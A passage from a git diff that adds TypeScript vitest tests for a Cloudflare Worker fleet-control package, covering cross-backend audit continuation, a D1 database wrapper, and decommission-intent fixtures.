+      store: secretDeletion.store,
+      spec,
+    });
+    expect(secretsDeleted.record.phase).toBe('decommissioned');
+    expect(
+      secretDeletion.world.scripts.get(spec.scriptName)?.secretNames.size,
+    ).toBe(0);
+
+    const publicAccess = directHarness(source.world.clone());
+    publicAccess.store.record = {
+      ...structuredClone(ready.record),
+      phase: 'migrating',
+      pendingSpecDigest: 'f'.repeat(64),
+    };
+    publicAccess.world.failNext('disablePublicAccess', { dispatched: true });
+    await ignoreFailure(
+      forceDecommissionDeployment({
+        backend: publicAccess.backend,
+        store: publicAccess.store,
+        tenantTag: spec.tenantTag,
+        environment: spec.environment,
+      }),
+    );
+    await forceDecommissionDeployment({
+      backend: publicAccess.backend,
+      store: publicAccess.store,
+      tenantTag: spec.tenantTag,
+      environment: spec.environment,
+    });
+    expect(publicAccess.store.record).toBeUndefined();
+    expect(publicAccess.world.scripts.get(spec.scriptName)?.subdomain).toEqual({
+      enabled: false,
+      previewsEnabled: false,
+    });
+  });
+});
+
+// ---------------------------------------------------------------------------
+// Audit continuation across the backend-origin boundary. The bounded audit
+// coordinator needs two durable stores the provisioning harnesses do not carry
+// (`FleetOperationStore` and `FleetInventoryRunStore`) and one finalized
+// `FleetResourceInventory` generation; the stores come from
+// `test/fixtures/fleet-operation-fakes.ts` and the generation is collected from
+// this world through the real inventory engine. `backendFor` is a per-call
+// option the continuation token never carries, so an audit's backend switch is
+// a switch of that option over one operation store, one inventory store, and
+// one world.
+// ---------------------------------------------------------------------------
+
+const AUDIT_STALE_AFTER_MS = 3_600_000;
+// Three tenants: the Wrangler leg hands off after the first, leaving the
+// direct leg two records to advance through, where an off-by-one in
+// `recordOrdinal` resumption shows.
+const AUDIT_TENANT_TAGS = ['acme', 'beta', 'ceres'] as const;
+
+/**
+ * Every audited tenant keeps `buildPlainWorkerSpec`'s maintenance base URL,
+ * because a provider world serves one maintenance origin. Each tenant's
+ * inspection still resolves its own script there: the backend sends a
+ * version-override header for a deployed candidate, and the world's
+ * maintenance responder reads the script name out of it.
+ */
+function auditSpec(tenantTag: string): DeploymentSpec {
+  return buildPlainWorkerSpec({
+    tenantTag,
+    scriptName: `fleet-${tenantTag}-production`,
+    databaseName: `fleet-${tenantTag}-production`,
+    routeHostname: `${tenantTag}.example.test`,
+  });
+}
+
+/**
+ * Installs origin-recording spies on `backend` itself and answers that same
+ * backend, so a caller still holding the argument holds the observed one. An
+ * `inspect` that resolves appends a second entry naming its outcome, so a log
+ * that ends at the `inspect` entry is an inspection that threw.
+ */
+function observeAuditBackendInPlace(
+  origin: string,
+  backend: ProvisioningBackend,
+  log: string[],
+): ProvisioningBackend {
+  const inspect = backend.inspect.bind(backend);
+  vi.spyOn(backend, 'inspect').mockImplementation(
+    async (spec, maintenanceAdminSecret, expectedArtifactVersion) => {
+      log.push(`${origin}:inspect:${spec.tenantTag}`);
+      const live = await inspect(
+        spec,
+        maintenanceAdminSecret,
+        expectedArtifactVersion,
+      );
+      log.push(`${origin}:${live ? 'live' : 'absent'}:${spec.tenantTag}`);
+      return live;
+    },
+  );
+  const ensureMaintenance = backend.ensureMaintenance.bind(backend);
+  vi.spyOn(backend, 'ensureMaintenance').mockImplementation(
+    async (spec, maintenanceAdminSecret, fence, expectedArtifactVersion) => {
+      log.push(`${origin}:ensureMaintenance:${spec.tenantTag}`);
+      return ensureMaintenance(
+        spec,
+        maintenanceAdminSecret,
+        fence,
+        expectedArtifactVersion,
+      );
+    },
+  );
+  return backend;
+}
+
+interface AuditFleet {
+  readonly world: ProviderWorld;
+  readonly records: readonly FleetRecord[];
+  readonly inventory: FleetResourceInventory;
+  readonly operationStore: FakeOperationStore;
+  readonly log: string[];
+  readonly wranglerBackend: ProvisioningBackend;
+  readonly directBackend: ProvisioningBackend;
+  readonly specFor: (record: FleetRecord) => DeploymentSpec;
+  readonly maintenanceSecretFor: () => string;
+  /** Moves both clocks `options` pins, for a leg audited past its duties. */
+  pinAuditClock(nowMs: number): void;
+  options(
+    action: FleetAuditAdvanceAction,
+    backend: ProvisioningBackend,
+  ): AdvanceFleetAuditOptions;
+}
+
+/**
+ * Provisions every tenant in `AUDIT_TENANT_TAGS` through its own Wrangler
+ * backend over ONE provider world, then pins that world's collected inventory
+ * as generation 1.
+ */
+async function wranglerAuditFleet(): Promise<AuditFleet> {
+  const world = providerWorld('uuid');
+  const specs = new Map<string, DeploymentSpec>();
+  const records: FleetRecord[] = [];
+  let wranglerOrigin: PlainWorkerHarness | undefined;
+  for (const tenantTag of AUDIT_TENANT_TAGS) {
+    const spec = auditSpec(tenantTag);
+    specs.set(tenantTag, spec);
+    const source = wrangler(world);
+    wranglerOrigin ??= source;
+    records.push((await provision(source, spec)).record);
+  }
+  if (!wranglerOrigin) throw new Error('audit fleet has no Wrangler origin');
+
+  const inventory = await collectWorldInventory(world);
+  // `auditFleetDrift` returns early for a record with no inventory deployment,
+  // so a degenerate projection would leave the Proof A cases asserting an
+  // empty findings list against an audit that compared nothing.
+  for (const tenantTag of AUDIT_TENANT_TAGS) {
+    expect(
+      inventory.deployments.filter(
+        (deployment) =>
+          deployment.scriptName === `fleet-${tenantTag}-production`,
+      ),
+    ).toHaveLength(1);
+  }
+  const operationStore = new FakeOperationStore();
+  const inventoryStore = new RegisteredGenerationInventoryRunStore();
+  inventoryStore.registerFinalizedGeneration(1, inventory);
+  const fleetStore = new ContinuationFleetStore(records);
+  const log: string[] = [];
+  const specFor = (record: FleetRecord) => {
+    const spec = specs.get(record.tenantTag);
+    if (!spec) throw new Error(`no spec for '${record.tenantTag}'`);
+    return spec;
+  };
+  const maintenanceSecretFor = () => sharedSecrets.maintenanceAdmin;
+  let auditNowMs = AUDIT_NOW_MS;
+  return {
+    world,
+    records,
+    inventory,
+    operationStore,
+    log,
+    wranglerBackend: observeAuditBackendInPlace(
+      'wrangler',
+      wranglerOrigin.backend,
+      log,
+    ),
+    directBackend: observeAuditBackendInPlace(
+      'direct',
+      directHarness(world).backend,
+      log,
+    ),
+    specFor,
+    maintenanceSecretFor,
+    pinAuditClock(nowMs) {
+      auditNowMs = nowMs;
+    },
+    options(action, backend) {
+      return {
+        operationStore,
+        inventoryStore,
+        fleetStore,
+        action,
+        backendFor: () => backend,
+        specFor,
+        maintenanceSecretFor,
+        auditClock: () => auditNowMs,
+        authorityClock: () => auditNowMs,
+      };
+    },
+  };
+}
+
+function auditInspections(log: readonly string[]): readonly string[] {
+  return log.filter((entry) => entry.includes(':inspect:'));
+}
+
+/**
+ * The outcome entries `observeAuditBackendInPlace` appends once an `inspect`
+ * resolves. An inspection that threw leaves its `:inspect:` entry behind with
+ * no outcome, so a count of these is a count of inspections that returned.
+ */
+function auditInspectionOutcomes(log: readonly string[]): readonly string[] {
+  return log.filter(
+    (entry) => entry.includes(':live:') || entry.includes(':absent:'),
+  );
+}
+
+function auditMaintenanceCalls(log: readonly string[]): readonly string[] {
+  return log.filter((entry) => entry.includes(':ensureMaintenance:'));
+}
+
+function pendingAuditToken(
+  result: FleetAuditAdvanceResult,
+): FleetOperationToken {
+  if (result.status !== 'pending') {
+    throw new Error(`expected a pending audit result, got '${result.status}'`);
+  }
+  return result.token;
+}
+
+/**
+ * Advances the operation through `backend` until `stop` holds, and answers the
+ * token the next leg resumes from. `cap` is slack: every stage this fleet
+ * reaches commits once per call.
+ */
+async function advanceAuditUntil(
+  fleet: AuditFleet,
+  backend: ProvisioningBackend,
+  firstToken: FleetOperationToken,
+  stop: () => boolean,
+  cap = 60,
+): Promise<FleetOperationToken> {
+  let token = firstToken;
+  for (let attempt = 0; attempt < cap; attempt += 1) {
+    if (stop()) return token;
+    token = pendingAuditToken(
+      await advanceFleetAudit(
+        fleet.options({ kind: 'continue', token }, backend),
+      ),
+    );
+  }
+  throw new Error(`advanceAuditUntil exceeded its ${cap}-call cap`);
+}
+
+/**
+ * Starts the audit on the Wrangler backend and answers the token to resume
+ * from once exactly one Wrangler-origin inspection has returned.
+ */
+async function auditHandoffAfterFirstInspection(
+  fleet: AuditFleet,
+  operationId: string,
+): Promise<FleetOperationToken> {
+  const started = await advanceFleetAudit(
+    fleet.options(
+      {
+        kind: 'start',
+        operationId,
+        records: fleet.records,
+        staleAfterMs: AUDIT_STALE_AFTER_MS,
+      },
+      fleet.wranglerBackend,
+    ),
+  );
+  return advanceAuditUntil(
+    fleet,
+    fleet.wranglerBackend,
+    pendingAuditToken(started),
+    () => auditInspectionOutcomes(fleet.log).length === 1,
+  );
+}
+
+/** Advances the operation through `backend` to a terminal result. */
+async function advanceAuditToTerminal(
+  fleet: AuditFleet,
+  backend: ProvisioningBackend,
+  firstToken: FleetOperationToken,
+  cap = 60,
+): Promise<FleetAuditAdvanceResult> {
+  let token = firstToken;
+  for (let attempt = 0; attempt < cap; attempt += 1) {
+    const result = await advanceFleetAudit(
+      fleet.options({ kind: 'continue', token }, backend),
+    );
+    if (result.status !== 'pending') return result;
+    token = result.token;
+  }
+  throw new Error(`advanceAuditToTerminal exceeded its ${cap}-call cap`);
+}
+
+describe('ordinary Worker cross-backend audit continuation', () => {
+  afterEach(assertHarnessFailuresConsumed);
+
+  it('finishes a Wrangler-origin audit through the direct backend on the token leg 1 minted', async () => {
+    const fleet = await wranglerAuditFleet();
+    const operationId = uuidFor(701);
+
+    const handoff = await auditHandoffAfterFirstInspection(fleet, operationId);
+    expect(auditInspectionOutcomes(fleet.log)).toEqual(['wrangler:live:acme']);
+
+    // The switch is a `backendFor` switch over the same operation store, the
+    // same inventory store, and the same world: the token carries only
+    // { version, operationId, revision }.
+    const resumed = await advanceFleetAudit(
+      fleet.options({ kind: 'continue', token: handoff }, fleet.directBackend),
+    );
+
+    expect(resumed.token.operationId).toBe(handoff.operationId);
+    expect(resumed.token.revision).toBeGreaterThan(handoff.revision);
+    expect(auditInspections(fleet.log)).toEqual([
+      'wrangler:inspect:acme',
+      'direct:inspect:beta',
+    ]);
+    const terminal =
+      resumed.status === 'pending'
+        ? await advanceAuditToTerminal(
+            fleet,
+            fleet.directBackend,
+            resumed.token,
+          )
+        : resumed;
+    expect(terminal.status).toBe('complete');
+    if (terminal.status !== 'complete') throw new Error('unreachable');
+    expect(terminal.result).toMatchObject({
+      operationId,
+      generation: 1,
+      recordCount: fleet.records.length,
+    });
+    expect(auditInspections(fleet.log)).toEqual([
+      'wrangler:inspect:acme',
+      'direct:inspect:beta',
+      'direct:inspect:ceres',
+    ]);
+  });
+
+  it('audits the direct leg without a maintenance mutation', async () => {
+    const fleet = await wranglerAuditFleet();
+    const operationId = uuidFor(702);
+
+    const handoff = await auditHandoffAfterFirstInspection(fleet, operationId);
+    const before = worldFacts(fleet.world);
+
+    const terminal = await advanceAuditToTerminal(
+      fleet,
+      fleet.directBackend,
+      handoff,
+    );
+
+    expect(terminal.status).toBe('complete');
+    // The world's maintenance POST answers health without touching the
+    // collections `worldFacts` snapshots, so the snapshot alone cannot rule a
+    // re-arm out; the backend's own call log does.
+    expect(worldFacts(fleet.world)).toEqual(before);
+    expect(auditMaintenanceCalls(fleet.log)).toEqual([]);
+  });
+
+  it('re-arms maintenance across the switch once the audited duties are stale', async () => {
+    const fleet = await wranglerAuditFleet();
+    const operationId = uuidFor(704);
+    // Past the freshness reference of every duty the world reports, so the
+    // re-arm branch the case above asserts is untaken is taken here: the
+    // `ensureMaintenance` spy that case rests on is shown to fire.
+    fleet.pinAuditClock(AUDIT_NOW_MS + AUDIT_STALE_AFTER_MS + 1);
+
+    const handoff = await auditHandoffAfterFirstInspection(fleet, operationId);
+    const terminal = await advanceAuditToTerminal(
+      fleet,
+      fleet.directBackend,
+      handoff,
+    );
+
+    expect(terminal.status).toBe('complete');
+    expect(auditMaintenanceCalls(fleet.log)).not.toEqual([]);
+    expect(
+      auditMaintenanceCalls(fleet.log).filter((entry) =>
+        entry.startsWith('direct:'),
+      ),
+    ).not.toEqual([]);
+  });
+
+  it('reads the same successful findings after the switch as a single-backend audit', async () => {
+    const fleet = await wranglerAuditFleet();
+    const operationId = uuidFor(703);
+
+    const handoff = await auditHandoffAfterFirstInspection(fleet, operationId);
+    const terminal = await advanceAuditToTerminal(
+      fleet,
+      fleet.directBackend,
+      handoff,
+    );
+    expect(terminal.status).toBe('complete');
+
+    const page = await readFleetAuditFindingsPage(fleet.operationStore, {
+      operationId,
+      limit: 100,
+    });
+    const singleBackend = await auditFleetDrift({
+      store: new ContinuationFleetStore(fleet.records),
+      records: fleet.records,
+      inventory: fleet.inventory,
+      backendFor: () => directHarness(fleet.world).backend,
+      specFor: fleet.specFor,
+      maintenanceSecretFor: fleet.maintenanceSecretFor,
+      staleAfterMs: AUDIT_STALE_AFTER_MS,
+      now: AUDIT_NOW_MS,
+    });
+
+    expect(page).toMatchObject({ findings: [], done: true });
+    expect(page.findings).toEqual(singleBackend);
+    // An identical `audit-error` list on both sides would satisfy the equality
+    // above without either side reaching a deployment, so each inspection's
+    // recorded outcome carries the proof that it succeeded.
+    expect(fleet.log).toEqual([
+      'wrangler:inspect:acme',
+      'wrangler:live:acme',
+      'direct:inspect:beta',
+      'direct:live:beta',
+      'direct:inspect:ceres',
+      'direct:live:ceres',
+    ]);
+  });
+});
diff --git a/packages/fleet-control/test/d1-fleet-state-database.test.ts b/packages/fleet-control/test/d1-fleet-state-database.test.ts
new file mode 100644
index 00000000..dbe83a5b
--- /dev/null
+++ b/packages/fleet-control/test/d1-fleet-state-database.test.ts
@@ -0,0 +1,356 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type {
+  D1Database,
+  D1PreparedStatement,
+} from '@cloudflare/workers-types';
+import { describe, expect, it } from 'vitest';
+import { D1FleetStateDatabase } from '../src/d1-fleet-state-database.js';
+import type { MigrationDatabase } from '../src/migration-ledger.js';
+
+interface PreparedCall {
+  readonly sql: string;
+  readonly bindings: readonly unknown[];
+  readonly bound: boolean;
+}
+
+interface FakeScript {
+  readonly prepareError?: Error;
+  readonly bindError?: Error;
+  readonly all?: () => unknown;
+  readonly run?: () => unknown;
+  readonly batch?: () => unknown;
+}
+
+interface FakeDatabase {
+  readonly binding: D1Database;
+  readonly prepared: PreparedCall[];
+  readonly bindCalls: (readonly unknown[])[];
+  readonly executedStatements: PreparedCall[];
+  readonly batchStatements: (readonly Readonly<PreparedCall>[])[];
+}
+
+function envelope(results: readonly unknown[] = []): unknown {
+  return { success: true, meta: {}, results };
+}
+
+function exactly(message: string): RegExp {
+  return new RegExp(`^${message.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}$`);
+}
+
+function fakeDatabase(script: FakeScript = {}): FakeDatabase {
+  const prepared: PreparedCall[] = [];
+  const bindCalls: (readonly unknown[])[] = [];
+  const executedStatements: PreparedCall[] = [];
+  const batchStatements: (readonly Readonly<PreparedCall>[])[] = [];
+  const statementCalls = new WeakMap<D1PreparedStatement, PreparedCall>();
+  const fakeStatement = (call: PreparedCall): D1PreparedStatement => {
+    const statement = {
+      bind(...bindings: readonly unknown[]) {
+        if (script.bindError) throw script.bindError;
+        bindCalls.push(bindings);
+        return fakeStatement({
+          sql: call.sql,
+          bindings,
+          bound: true,
+        });
+      },
+      all() {
+        executedStatements.push(call);
+        return Promise.resolve(
+          script.all === undefined ? envelope() : script.all(),
+        );
+      },
+      run() {
+        executedStatements.push(call);
+        return Promise.resolve(
+          script.run === undefined ? envelope() : script.run(),
+        );
+      },
+    } as D1PreparedStatement;
+    statementCalls.set(statement, call);
+    return statement;
+  };
+  const binding = {
+    prepare(sql: string) {
+      if (script.prepareError) throw script.prepareError;
+      const call: PreparedCall = { sql, bindings: [], bound: false };
+      prepared.push(call);
+      return fakeStatement(call);
+    },
+    batch(statements: D1PreparedStatement[]) {
+      const calls = statements.map((statement) => {
+        const call = statementCalls.get(statement);
+        if (!call) throw new Error('fake received an unknown statement');
+        return call;
+      });
+      batchStatements.push(calls);
+      return Promise.resolve(
+        script.batch === undefined
+          ? calls.map(() => envelope())
+          : script.batch(),
+      );
+    },
+  } as D1Database;
+  return {
+    binding,
+    prepared,
+    bindCalls,
+    executedStatements,
+    batchStatements,
+  };
+}
+
+describe('D1FleetStateDatabase', () => {
+  it('binds exact values and skips bind for empty bindings', async () => {
+    const fake = fakeDatabase();
+    const database = new D1FleetStateDatabase(fake.binding);
+    const bindings = [1, 'two', null] as const;
+
+    await database.query('SELECT empty');
+    await database.query('SELECT bound', bindings);
+
+    expect(fake.prepared).toEqual([
+      { sql: 'SELECT empty', bindings: [], bound: false },
+      { sql: 'SELECT bound', bindings: [], bound: false },
+    ]);
+    expect(fake.bindCalls).toEqual([bindings]);
+    expect(fake.executedStatements).toEqual([
+      { sql: 'SELECT empty', bindings: [], bound: false },
+      { sql: 'SELECT bound', bindings, bound: true },
+    ]);
+  });
+
+  it('returns query rows as received in their original order', async () => {
+    const rows = [{ id: 2 }, { id: 1 }];
+    const fake = fakeDatabase({ all: () => envelope(rows) });
+
+    const result = await new D1FleetStateDatabase(fake.binding).query(
+      'INSERT INTO records RETURNING id',
+    );
+
+    expect(result).toBe(rows);
+    expect(result).toEqual([{ id: 2 }, { id: 1 }]);
+  });
+
+  it('accepts query envelope and meta extensions', async () => {
+    const rows = [{ id: 1 }];
+    const fake = fakeDatabase({
+      all: () => ({
+        success: true,
+        meta: { duration: 1, rows_read: 2, extra: true },
+        results: rows,
+        served_by: 'v3',
+      }),
+    });
+
+    const result = await new D1FleetStateDatabase(fake.binding).query(
+      'SELECT extended',
+    );
+
+    expect(result).toBe(rows);
+  });
+
+  it('resolves execute acknowledgements without results and discards rows', async () => {
+    const valid = fakeDatabase({ run: () => envelope([{ changed: 1 }]) });
+    await expect(
+      new D1FleetStateDatabase(valid.binding).execute('UPDATE records'),
+    ).resolves.toBeUndefined();
+
+    const withoutResults = fakeDatabase({
+      run: () => ({ success: true, meta: {} }),
+    });
+    await expect(
+      new D1FleetStateDatabase(withoutResults.binding).execute(
+        'UPDATE records',
+      ),
+    ).resolves.toBeUndefined();
+
+    const extended = fakeDatabase({
+      run: () => ({
+        success: true,
+        meta: { duration: 1, extra: true },
+        results: [],
+        served_by: 'v3',
+      }),
+    });
+    await expect(
+      new D1FleetStateDatabase(extended.binding).execute('UPDATE records'),
+    ).resolves.toBeUndefined();
+  });
+
+  it('returns batch result sets in order and preserves an empty middle set', async () => {
+    const rows = [[{ id: 1 }], [], [{ id: 3 }]];
+    const fake = fakeDatabase({
+      batch: () => rows.map((result) => envelope(result)),
+    });
+
+    const result = await new D1FleetStateDatabase(fake.binding).batch([
+      { sql: 'one', bindings: ['first'] },
+      { sql: 'two' },
+      { sql: 'three', bindings: ['third'] },
+    ]);
+
+    expect(result).toEqual(rows);
+    expect(result[0]).toBe(rows[0]);
+    expect(result[1]).toBe(rows[1]);
+    expect(result[2]).toBe(rows[2]);
+    expect(fake.batchStatements).toEqual([
+      [
+        { sql: 'one', bindings: ['first'], bound: true },
+        { sql: 'two', bindings: [], bound: false },
+        { sql: 'three', bindings: ['third'], bound: true },
+      ],
+    ]);
+  });
+
+  it('resolves an empty batch without calling the binding batch method', async () => {
+    const fake = fakeDatabase();
+
+    await expect(
+      new D1FleetStateDatabase(fake.binding).batch([]),
+    ).resolves.toEqual([]);
+    expect(fake.batchStatements).toEqual([]);
+  });
+
+  it('refuses a batch result count that differs from the statement count', async () => {
+    const statements = [{ sql: 'one' }, { sql: 'two' }, { sql: 'three' }];
+    const fake = fakeDatabase({
+      batch: () => [envelope(), envelope()],
+    });
+    const message = `D1 returned 2 batch results for ${statements.length} statements`;
+
+    await expect(
+      new D1FleetStateDatabase(fake.binding).batch(statements),
+    ).rejects.toThrow(exactly(message));
+  });
+
+  it('refuses a non-array batch response', async () => {
+    const fake = fakeDatabase({ batch: () => envelope() });
+
+    await expect(
+      new D1FleetStateDatabase(fake.binding).batch([{ sql: 'one' }]),
+    ).rejects.toThrow(exactly('D1 returned a malformed batch response'));
+  });
+
+  it('refuses malformed acknowledgements and result shapes', async () => {
+    const queryMessage = 'D1 query returned a malformed result';
+    const executeMessage = 'D1 execute returned a malformed result';
+    const malformedIndex = 1;
+    const batchMessage = `D1 batch statement ${malformedIndex} returned a malformed result`;
+    const malformedAcknowledgements: readonly unknown[] = [
+      null,
+      1,
+      [],
+      { success: false, meta: {}, results: [] },
+      { meta: {}, results: [] },
+      { success: true, error: 'failed', meta: {}, results: [] },
+      { success: true, results: [] },
+      { success: true, meta: null, results: [] },
+      { success: true, meta: 1, results: [] },
+      { success: true, meta: [], results: [] },
+    ];
+
+    for (const malformed of malformedAcknowledgements) {
+      const query = fakeDatabase({ all: () => malformed });
+      await expect(
+        new D1FleetStateDatabase(query.binding).query('SELECT malformed'),
+      ).rejects.toThrow(exactly(queryMessage));
+
+      const execute = fakeDatabase({ run: () => malformed });
+      await expect(
+        new D1FleetStateDatabase(execute.binding).execute('UPDATE malformed'),
+      ).rejects.toThrow(exactly(executeMessage));
+
+      const batch = fakeDatabase({
+        batch: () => [envelope(), malformed],
+      });
+      await expect(
+        new D1FleetStateDatabase(batch.binding).batch([
+          { sql: 'valid' },
+          { sql: 'malformed' },
+        ]),
+      ).rejects.toThrow(exactly(batchMessage));
+    }
+
+    const malformedResults: readonly unknown[] = [
+      { success: true, meta: {} },
+      { success: true, meta: {}, results: [1] },
+      { success: true, meta: {}, results: [null] },
+      { success: true, meta: {}, results: [[]] },
+    ];
+
+    for (const malformed of malformedResults) {
+      const query = fakeDatabase({ all: () => malformed });
+      await expect(
+        new D1FleetStateDatabase(query.binding).query('SELECT malformed'),
+      ).rejects.toThrow(exactly(queryMessage));
+
+      const batch = fakeDatabase({
+        batch: () => [envelope(), malformed],
+      });
+      await expect(
+        new D1FleetStateDatabase(batch.binding).batch([
+          { sql: 'valid' },
+          { sql: 'malformed' },
+        ]),
+      ).rejects.toThrow(exactly(batchMessage));
+    }
+  });
+
+  it('propagates prepare, bind, and binding operation failures unchanged', async () => {
+    const prepareError = new Error('prepare failed');
+    await expect(
+      new D1FleetStateDatabase(fakeDatabase({ prepareError }).binding).query(
+        'SELECT failed',
+      ),
+    ).rejects.toBe(prepareError);
+
+    const bindError = new Error('bind failed');
+    await expect(
+      new D1FleetStateDatabase(fakeDatabase({ bindError }).binding).query(
+        'SELECT failed',
+        ['value'],
+      ),
+    ).rejects.toBe(bindError);
+
+    const allError = new Error('all failed');
+    await expect(
+      new D1FleetStateDatabase(
+        fakeDatabase({ all: () => Promise.reject(allError) }).binding,
+      ).query('SELECT failed'),
+    ).rejects.toBe(allError);
+
+    const runError = new Error('run failed');
+    await expect(
+      new D1FleetStateDatabase(
+        fakeDatabase({ run: () => Promise.reject(runError) }).binding,
+      ).execute('UPDATE failed'),
+    ).rejects.toBe(runError);
+
+    const batchError = new Error('batch failed');
+    await expect(
+      new D1FleetStateDatabase(
+        fakeDatabase({ batch: () => Promise.reject(batchError) }).binding,
+      ).batch([{ sql: 'failed' }]),
+    ).rejects.toBe(batchError);
+  });
+
+  it('requires the Workers D1 prepare and batch interface', () => {
+    const message =
+      'D1FleetStateDatabase requires the Workers D1Database prepare/batch interface';
+    expect(() => Reflect.construct(D1FleetStateDatabase, [null])).toThrow(
+      exactly(message),
+    );
+    expect(() =>
+      Reflect.construct(D1FleetStateDatabase, [{ prepare() {} }]),
+    ).toThrow(exactly(message));
+  });
+
+  it('is assignable to the migration database port', () => {
+    const binding = fakeDatabase().binding;
+    const migration: MigrationDatabase = new D1FleetStateDatabase(binding);
+
+    expect(migration).toBeInstanceOf(D1FleetStateDatabase);
+  });
+});
diff --git a/packages/fleet-control/test/decommission-intent.test.ts b/packages/fleet-control/test/decommission-intent.test.ts
new file mode 100644
index 00000000..44394028
--- /dev/null
+++ b/packages/fleet-control/test/decommission-intent.test.ts
@@ -0,0 +1,1319 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { describe, expect, it, vi } from 'vitest';
+import { initialWorkerAttachmentScan } from '../src/cloudflare-worker-attachment-scan-state.js';
+import type {
+  AdvanceDecommissionDeploymentOptions,
+  DecommissionAdvanceAction,
+  DecommissionAdvanceCapability,
+  DecommissionAdvanceResult,
+} from '../src/decommission-advance.js';
+import {
+  classifyDecommissionAdvanceToken,
+  DecommissionAdvanceIntentError,
+  DecommissionAdvanceTokenDeploymentError,
+  DecommissionAdvanceTokenError,
+  DecommissionAdvanceTokenFutureError,
+  DecommissionAdvanceTokenOperationError,
+  decommissionAdvanceIntentFromUnknown,
+  parseDecommissionAdvanceToken,
+} from '../src/decommission-intent.js';
+import { canonicalDeploymentEgressPolicy } from '../src/platform-resources.js';
+import {
+  type ApplicationR2Resource,
+  assertNoActiveDecommission,
+  type BackendSwitchIntent,
+  type DecommissionAdvanceIntent,
+  type DecommissionAttachmentPurpose,
+  effectiveLifecyclePhase,
+  type FleetRecord,
+  type NormalDecommissionLifecyclePhase,
+  PROVISIONING_PHASES,
+} from '../src/types.js';
+import { backendSwitchDecommissionRecordFixture } from './fixtures/decommission-intent-fixture.js';
+
+const OPERATION_ID = '12345678-1234-4abc-8def-1234567890ab';
+const DATABASE_ID = '00000000-0000-0000-0000-000000000001';
+const RECEIPT_AUTHORITY = 'memory://fleet-exports/receipts/v1';
+const NOW = '2026-08-29T12:00:00.000Z';
+const DIGEST = 'a'.repeat(64);
+const EVIDENCE = 'b'.repeat(64);
+const INITIAL_PHASES = [
+  'publishing',
+  'ready',
+  'migrating',
+  'rolling-back',
+] as const;
+const TEARDOWN_PHASES = [
+  'decommissioning',
+  'traffic-removed',
+  'credentials-revoked',
+  'worker-deleted',
+  'platform-credentials-revoked',
+  'platform-resources-deleted',
+  'application-resources-deleting',
+  'application-resources-deleted',
+  'database-exported',
+  'database-deleting',
+] as const;
+
+function fleetRecord(overrides: Partial<FleetRecord> = {}): FleetRecord {
+  return {
+    tenantTag: 'acme',
+    environment: 'production',
+    backend: 'plain-worker',
+    scriptName: 'acme-production',
+    databaseId: DATABASE_ID,
+    databaseName: 'acme-production',
+    schemaVersion: 1,
+    artifactVersion: 'version-1',
+    desiredSpecDigest: DIGEST,
+    durableObjectBindings: [],
+    applicationResources: [
+      {
+        name: 'FILES',
+        bucketName: 'acme-production-files',
+        jurisdiction: 'default',
+        state: 'detach-authorized',
+        reservationNonce: 'x'.repeat(32),
+        creationDate: '2026-08-29T00:00:00.000Z',
+      },
+    ],
+    applicationBindings: { vars: [], secrets: [], r2Buckets: [] },
+    routeHostname: 'acme.example.test',
+    phase: 'decommission-advancing',
+    databaseExportLocation: 'r2://exports/database.sqlite',
+    databaseExportSha256: 'c'.repeat(64),
+    databaseExportSize: 128,
+    updatedAt: '2026-08-29T00:00:00.000Z',
+    ...overrides,
+  };
+}
+
+function identity(
+  entryLifecyclePhase: NormalDecommissionLifecyclePhase = 'ready',
+  source: FleetRecord = fleetRecord(),
+  requestedSpecDigest = source.desiredSpecDigest,
+) {
+  return {
+    record: {
+      tenantTag: source.tenantTag,
+      environment: source.environment,
+      backend: source.backend,
+      scriptName: source.scriptName,
+      databaseId: source.databaseId,
+      databaseName: source.databaseName,
+      routeHostname: source.routeHostname,
+    },
+    mode: {
+      kind: 'normal' as const,
+      requestedSpecDigest,
+      entryLifecyclePhase,
+    },
+  };
+}
+
+function backendSwitchRecord(): FleetRecord {
+  const base = fleetRecord({
+    backend: 'workers-for-platforms',
+    phase: 'ready',
+    applicationResources: [],
+    applicationBindings: { vars: [], secrets: [], r2Buckets: [] },
+  });
+  const outboundPolicy = canonicalDeploymentEgressPolicy({
+    policyId: 'policy-acme',
+    tenantTag: base.tenantTag,
+    environment: base.environment,
+    allowedHosts: [],
+  });
+  const target = {
+    maintenanceCapabilityPublicKey:
+      '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}',
+    stateArtifactDigest: 'd'.repeat(64),
+    stateDurableObjectHistoryDigest: 'e'.repeat(64),
+    egressArtifactDigest: 'f'.repeat(64),
+    d1SchemaVersion: base.schemaVersion,
+    d1SchemaHistoryDigest: '1'.repeat(64),
+    outboundPolicy,
+  } as const;
+  const prior = {
+    scriptName: base.scriptName,
+    artifactVersion: base.artifactVersion,
+    specDigest: base.desiredSpecDigest,
+    databaseId: base.databaseId,
+    databaseName: base.databaseName,
+    durableObjectBindings: [],
+    namespaceIds: [],
+    secretNames: ['DEPLOYMENT_IDENTITY_SECRET'],
+    application: { vars: [], secrets: [], r2Buckets: [] },
+    applicationResources: [],
+    customDomain: { id: 'domain-acme', hostname: base.routeHostname },
+  } as const;
+  const decommissionSnapshot = {
+    prior,
+    restoredArtifactVersion: null,
+    entryPendingArtifactVersion: null,
+    entryPendingNamespaceIds: null,
+    providerTargetSpecDigest: base.desiredSpecDigest,
+    routeHostname: base.routeHostname,
+    routeTargets: [],
+    desiredSpecDigest: base.desiredSpecDigest,
+    target,
+    releases: [],
+    applicationResources: [],
+  } as const;
+  const intent: BackendSwitchIntent = {
+    kind: 'backend-switch',
+    tenantTag: base.tenantTag,
+    environment: base.environment,
+    prior,
+    targetSpecDigest: base.desiredSpecDigest,
+    targetApplication: { vars: [], secrets: [], r2Buckets: [] },
+    target,
+    rollbackUntil: '2026-09-30T00:00:00.000Z',
+    subphase: 'decommission-traffic-authorized',
+    decommissionSnapshot,
+  };
+  return backendSwitchDecommissionRecordFixture(base, intent, {
+    entrySubphase: 'finalized',
+  });
+}
+
+function common(
+  lifecyclePhase: NormalDecommissionLifecyclePhase,
+  overrides: Partial<{
+    revision: number;
+    generation: number;
+    databaseExportReceiptAuthority: string;
+  }> = {},
+) {
+  return {
+    version: 1 as const,
+    operationId: OPERATION_ID,
+    revision: overrides.revision ?? 0,
+    generation: overrides.generation ?? 0,
+    updatedAt: NOW,
+    identity: identity(),
